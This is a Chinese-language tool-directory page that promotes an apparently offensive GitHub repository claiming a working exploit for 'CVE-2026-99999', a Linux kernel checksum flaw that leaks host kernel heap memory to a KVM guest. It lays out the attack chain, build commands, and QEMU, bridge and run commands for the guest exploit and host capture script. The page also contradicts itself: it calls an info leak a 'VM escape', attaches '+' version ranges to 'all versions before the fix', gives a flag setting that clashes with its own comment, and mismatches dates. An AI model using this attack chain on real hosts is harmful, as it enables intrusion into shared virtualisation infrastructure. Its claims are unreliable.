Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-99999-exploit — CVE-2026-99999 可用 PoC — 针对 Linux 内核 csum_start 漏洞的真实虚拟机逃逸(CVSS 9.3)。客户机到主机的堆内存泄漏。另见:CVE-2026-99999-analysis(教育用途)。 | Kitploit
工具/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
漏洞分析漏洞利用信息收集安全虚拟化论文与研究容器逃逸
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

CVE-2026-99999 可用 PoC — 针对 Linux 内核 csum_start 漏洞的真实虚拟机逃逸(CVSS 9.3)。客户机到主机的堆内存泄漏。另见:CVE-2026-99999-analysis(教育用途)。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
3114天前尚未审核
分享

CVE-2026-99999 — PoC 漏洞利用仓库

⚠️ 这是一个可用的漏洞利用仓库。 它包含真实的漏洞利用代码,可在实际运行的 KVM/QEMU 环境中触发 CVE-2026-99999 漏洞。

📚 如需对同一攻击链进行安全的本地模拟,请参阅 CVE-2026-99999-analysis (无需 root、无需网络、纯 Python——非常适合在没有实验环境的情况下理解该漏洞)。

漏洞摘要

CVE-2026-99999 — Linux 内核 IPv4 csum_start 校验缺陷,位于 GSO 分段路径中。客户机 VM 可针对每个出站数据包分片泄露约 32–64 字节的宿主内核堆内存。

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

受影响内核: 修复提交之前的所有版本:

  • 5.10.272+、5.15.223+、6.1.190+、6.12.113+、6.18.57+、7.2.11+

攻击者模型: KVM 客户机 VM 内的非特权代码。


仓库结构

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

攻击链

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

构建

客户机侧

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

主机侧

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

使用方法

选项 A:vhost-user 模式(推荐)

要求:

  • QEMU 使用 -netdev vhost-user,... 启动
  • 客户机内存通过 memfd 或 tmpfs 与 QEMU 共享
  • 客户机内具有 root 权限
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

选项 B:TAP 绕过模式

要求:

  • TAP 设备连接到主机网桥
  • 客户机中具有 root 权限或 CAP_NET_RAW
  • 主机上设置 bridge-nf-call-iptables=1(用于 GSO 路径)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

技术说明

vhost-user 内存共享

该漏洞利用要求 QEMU 能够读取客户机的 TX virtqueue 内存。 如果没有共享内存,QEMU 就无法读取描述符——数据包会被入队, 但永远不会被发送。

测试时,请使用以下方式之一:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

GSO 路径前提条件

CVE 触发需要主机内核通过 GSO 分段路径处理该帧。这会在以下情况下发生:

  • 该帧设置了 IP_MF(More Fragments)标志——强制进行分片
  • virtio-net 设备上启用了校验和卸载
  • 该帧大于 MTU(强制进行 GSO 分段)

该漏洞利用在每个数据包中设置 IP_MF,以确保进行 GSO 分段。

检测

主机侧检测器(receive_and_dump.py)通过以下方式识别 CVE-2026-99999:

  1. 在桥接接口上捕获数据包
  2. 检测损坏的 IHL 字节(version_ihl & 0x0F > 5)
  3. 将多余的字节报告为潜在的内核堆内存泄漏

文件

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

故障排查

“无法连接到 vhost-user socket”

  • 确保 QEMU 以 vhost-user 方式运行,且 socket 存在
  • 检查:ls -la /tmp/vhost.sock

“主机不支持 VIRTIO_NET_F_CSUM”

  • 你的 QEMU/KVM 配置未启用校验和卸载
  • 在 QEMU 中添加:-device virtio-net-pci,netdev=net0,csum=off,host_csum=off —— 应启用,而非禁用

“主机不支持 VIRTIO_NET_F_CSUM”(漏洞利用输出)

  • 主机的 vhost-user 后端未协商校验和卸载特性
  • 对于某些 QEMU 配置而言这是预期行为
  • 请尝试改用 TAP 绕过模式

未检测到损坏的数据包

  • 确保主机内核为未打补丁版本(低于 5.10.272、5.15.223、6.1.190)
  • 检查:uname -r
  • 确保在发出的数据包上设置了 IP_MF 标志
  • 尝试在主机网桥上运行 Wireshark 以观察原始帧

权限被拒绝

  • 客户机:需要 root 或 sudo
  • 主机:进行数据包捕获和 TAP 设置需要 root 或 sudo

免责声明

仅限在隔离的实验环境中用于经授权的安全研究。 未经授权对你不拥有或未获得书面许可测试的系统进行使用是违法的。作者对任何滥用行为不承担任何责任。

下载工具